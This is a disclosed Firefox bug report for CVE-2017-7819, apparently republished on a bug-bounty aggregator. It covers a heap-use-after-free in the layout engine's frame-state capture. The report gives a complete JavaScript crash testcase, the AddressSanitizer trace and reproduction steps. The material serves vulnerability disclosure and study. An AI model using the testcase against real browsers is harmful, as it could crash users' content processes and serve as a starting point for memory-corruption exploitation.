Skip to content
Memory corruption Disclosed report Advanced CVE-2017-7819

heap-use-after-free in ~nsStyleContext, nsFrameManager::CaptureFrameState etc

A crafted web page caused Firefox to read freed memory in the layout engine while capturing frame state during a document load. The crash is a heap-use-after-free detected by AddressSanitizer, which an attacker could potentially exploit for memory corruption, though the report only demonstrates a crash.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 60 days
  • Paid in 2 months
  • Disclosed after 60 days

Created attachment 8885672 crash.html

The following testcase crashes the latest ASAN build of Firefox (BuildID=20170711160010). The attached crash.html, crash.xml and crash.xsl have to be served from an HTTP server.

crash.html:

<script> function spin() { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start() { o0=document.createElement('iframe'); o0.src='crash.xml'; document.body.appendChild(o0); o1=document.createElement('iframe'); o1.src='data:text/html,<div>'; o0.addEventListener('load', fun0,false); document.body.appendChild(o1); o2=window.document; } function fun0() { o4=o1.contentWindow; o4.onresize=fun1; o16=o0.contentWindow; o17=o0.contentDocument; tmp=o17.getElementsByTagName('*'); o18=tmp[0]; o28=tmp[4]; o62=o17.createRange(); o17.designMode='on'; document.documentElement.appendChild(o18); o95=o16.getSelection(); o95.addRange(o62); o1.setAttribute('height','-9px'); o213=document.createElement('style'); o62.selectNodeContents(o28); document.documentElement.style.transform='scale(100)'; o2.designMode='on'; document.documentElement.appendChild(o213); o1.setAttribute('height','-9px'); spin(); o95.modify('extend', 'forward','lineboundary'); } function fun1() { o268=document.createElement('iframe'); o268.addEventListener('load', fun2,false); o213.appendChild(o268); } function fun2() { document.body.appendChild(o0); o0.appendChild(o1); fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC(); location.reload(); } </script> <body onload="start()"></body>

ASAN output:

==6893==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000380ce8 at pc 0x7efbe71a2dc0 bp 0x7fffb2c01f30 sp 0x7fffb2c01f28 READ of size 8 at 0x625000380ce8 thread T0 (Web Content) #0 0x7efbe71a2dbf in GetStateBits /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1997:46 #1 0x7efbe71a2dbf in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:497 #2 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7 #3 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7 #4 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7 #5 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7 #6 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7 #7 0x7efbe70ea933 in mozilla::PresShell::CaptureHistoryState(nsILayoutHistoryState**) /home/worker/workspace/build/src/layout/base/PresShell.cpp:3876:22 #8 0x7efbea114525 in nsDocShell::PersistLayoutHistoryState() /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:12768:19 #9 0x7efbea1216fb in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7315:3 #10 0x7efbea0b9521 in nsDocShell::CreateContentViewer(nsACString const&, nsIRequest*, nsIStreamListener**) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9297:3 #11 0x7efbea0b742e in nsDSURIContentListener::DoContent(nsACString const&, bool, nsIRequest*, nsIStreamListener**, bool*) /home/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:114:21 #12 0x7efbe1f33397 in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:756:28 #13 0x7efbe1f304cc in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:434:30 #14 0x7efbe1f2ec40 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:296:8 #15 0x7efbe0dd5ae6 in mozilla::net::HttpChannelChild::DoOnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:662:28 #16 0x7efbe0de168c in mozilla::net::HttpChannelChild::OnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, bool const&, bool const&, int const&, unsigned int const&, unsigned int const&, nsCString const&, nsCString const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, unsigned int const&, nsCString const&, long const&) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:593:3 #17 0x7efbe0ebbb0c in mozilla::net::StartRequestEvent::Run() /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:425:13 #18 0x7efbe0cba127 in mozilla::net::ChannelEventQueue::RunOrEnqueue(mozilla::net::ChannelEvent*, bool) /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:215:10 #19 0x7efbe0de06a0 in mozilla::net::HttpChannelChild::RecvOnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, bool const&, bool const&, int const&, unsigned int const&, unsigned int const&, nsCString const&, nsCString const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, short const&, unsigned int const&, nsCString const&, long const&) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:482:12 #20 0x7efbe13f4576 in mozilla::net::PHttpChannelChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PHttpChannelChild.cpp:637:20 #21 0x7efbe19f4c5d in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:5296:28 #22 0x7efbe123018e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25 #23 0x7efbe122d2d4 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17 #24 0x7efbe122ebb4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5 #25 0x7efbe122f198 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15 #26 0x7efbe03f2490 in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25 #27 0x7efbe041f875 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1437:14 #28 0x7efbe0425aa8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10 #29 0x7efbe1237e36 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5 #30 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #31 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #32 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #33 0x7efbe69c237f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #34 0x7efbeac50817 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22 #35 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #36 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #37 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #38 0x7efbeac5027d in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34 #39 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #40 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #41 0x7efbfd7d882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291 #42 0x41d168 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d168)

0x625000380ce8 is located 7144 bytes inside of 8192-byte region [0x62500037f100,0x625000381100) freed by thread T0 (Web Content) here: #0 0x4bb69b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7efbe7238d10 in Clear /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:98:7 #2 0x7efbe7238d10 in ~ArenaAllocator /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:61 #3 0x7efbe7238d10 in nsPresArena::~nsPresArena() /home/worker/workspace/build/src/layout/base/nsPresArena.cpp:42 #4 0x7efbe70cdb43 in nsIPresShell::~nsIPresShell() /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:178:7 #5 0x7efbe70cdc7d in mozilla::PresShell::~PresShell() /home/worker/workspace/build/src/layout/base/PresShell.cpp:900:1 #6 0x7efbe70c93ef in Release /home/worker/workspace/build/src/layout/base/PresShell.cpp:894:1 #7 0x7efbe70c93ef in non-virtual thunk to mozilla::PresShell::Release() /home/worker/workspace/build/src/layout/base/PresShell.cpp:894 #8 0x7efbe6ab9425 in ~nsCOMPtr_base /home/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:294:7 #9 0x7efbe6ab9425 in nsTextServicesDocument::~nsTextServicesDocument() /home/worker/workspace/build/src/editor/txtsvc/nsTextServicesDocument.cpp:96 #10 0x7efbe6ab981d in nsTextServicesDocument::~nsTextServicesDocument() /home/worker/workspace/build/src/editor/txtsvc/nsTextServicesDocument.cpp:94:1 #11 0x7efbe02bbc47 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2661:25 #12 0x7efbe02c5dd4 in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2849:3 #13 0x7efbe02c5dd4 in nsCycleCollector_doDeferredDeletion() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4187 #14 0x7efbe1cf0e13 in AsyncFreeSnowWhite::Run() /home/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:126:34 #15 0x7efbe0434a7f in IdleRunnableWrapper::Run() /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:313:22 #16 0x7efbe041f875 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1437:14 #17 0x7efbe0425aa8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10 #18 0x7efbe1237e41 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #19 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #20 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #21 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #22 0x7efbe69c237f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #23 0x7efbeac50817 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22 #24 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #25 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #26 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #27 0x7efbeac5027d in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34 #28 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #29 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #30 0x7efbfd7d882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 (Web Content) here: #0 0x4bb9ec in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x7efbe03d6fdf in AllocateChunk /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:179:15 #2 0x7efbe03d6fdf in InternalAllocate /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:214 #3 0x7efbe03d6fdf in Allocate /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:72 #4 0x7efbe03d6fdf in mozilla::ArenaAllocator<8192ul, 8ul>::Allocate(unsigned long) /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:77 #5 0x7efbe6f53430 in AllocateByObjectID /home/worker/workspace/build/src/layout/base/nsPresArena.h:51:12 #6 0x7efbe6f53430 in AllocateByObjectID /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:237 #7 0x7efbe6f53430 in operator new /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1788 #8 0x7efbe6f53430 in nsRuleNode::Transition(nsIStyleRule*, mozilla::SheetType, bool) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1900 #9 0x7efbe6e89e1d in DoForward /home/worker/workspace/build/src/layout/style/nsRuleWalker.h:31:26 #10 0x7efbe6e89e1d in Forward /home/worker/workspace/build/src/layout/style/nsRuleWalker.h:42 #11 0x7efbe6e89e1d in ContentEnumFunc(RuleValue const&, nsCSSSelector*, ElementDependentRuleProcessorData*, NodeMatchContext&, AncestorFilter*) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:2606 #12 0x7efbe6e8946a in RuleHash::EnumerateAllRules(mozilla::dom::Element*, ElementDependentRuleProcessorData*, NodeMatchContext&) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:697:7 #13 0x7efbe6e94a1f in nsCSSRuleProcessor::RulesMatching(ElementRuleProcessorData*) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:2620:24 #14 0x7efbe6fe584c in bool EnumRulesMatching<ElementRuleProcessorData>(nsIStyleRuleProcessor*, void*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:795:15 #15 0x7efbe6fe285d in nsStyleSet::FileRules(bool ()(nsIStyleRuleProcessor, void*), RuleProcessorData*, mozilla::dom::Element*, nsRuleWalker*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1121:5 #16 0x7efbe6fe545e in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1353:3 #17 0x7efbe6fe5050 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1389:10 #18 0x7efbe70ae366 in mozilla::ElementRestyler::RestyleSelf(nsIFrame*, nsRestyleHint, unsigned int*, nsTArraymozilla::ElementRestyler::SwapInstruction&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:2545:32 #19 0x7efbe70a9c92 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:1795:7 #20 0x7efbe70b5ceb in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArraymozilla::ElementRestyler::ContextToClear&, nsTArray<RefPtr<nsStyleContext> >&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3063:16 #21 0x7efbe709ff62 in mozilla::GeckoRestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3474:3 #22 0x7efbe709f4be in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:151:5 #23 0x7efbe7127dff in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:94:22 #24 0x7efbe7127dff in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:255 #25 0x7efbe70a3906 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:371:23 #26 0x7efbe70a3906 in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:502 #27 0x7efbe70ecf7e in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3 #28 0x7efbe70ecf7e in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4193 #29 0x7efbe70dba12 in mozilla::PresShell::DidDoReflow(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9164:3 #30 0x7efbe70ee2a8 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9521:7 #31 0x7efbe70ed154 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4230:11 #32 0x7efbe71c4521 in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:578:5 #33 0x7efbe71c4521 in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1033 #34 0x7efbea1292aa in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7698:21 #35 0x7efbea1252b0 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7496:7 #36 0x7efbea12ca3f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7393:13 #37 0x7efbe1f267e2 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1299:3 #38 0x7efbe1f257dc in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:860:14 #39 0x7efbe1f225d8 in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:749:9 #40 0x7efbe1f244ef in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:631:5 #41 0x7efbe1f2521c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:487:14

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1997:46 in GetStateBits Shadow bytes around the buggy address: 0x0c4a80068140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a80068150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a80068160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a80068170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a80068180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c4a80068190: fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd 0x0c4a800681a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a800681b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a800681c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a800681d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a800681e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==6893==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a stale frame or style context reference was used after the presentation shell's arena was freed during a reload triggered by script, so CaptureFrameState read from released memory.

Impact

The page could crash the browser's content process and, because the freed memory is read, may be exploitable for code execution, though the report only shows a crash.

What the attacker needed

Victim loads a crafted page; page served over HTTP; JavaScript enabled

How it was found

  1. Serve the attached HTML, XML and XSL files from an HTTP server.
  2. Load the HTML page, which creates two iframes and wires up load handlers.
  3. On the first iframe's load, move nodes between documents, enable design mode, add a style element and run a synchronous request.
  4. On a resize event, add a further iframe and, when it loads, reparent the frames, force garbage collection and reload the page.
  5. Observe the AddressSanitizer heap-use-after-free report in the content process.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a browser lays out a page it creates internal objects for each element and frees them when they are no longer needed. Here, a page with nested frames, style changes and forced garbage collection made the browser keep using one of those objects after it had been freed. Reading freed memory can crash the browser and, in the worst case, let an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.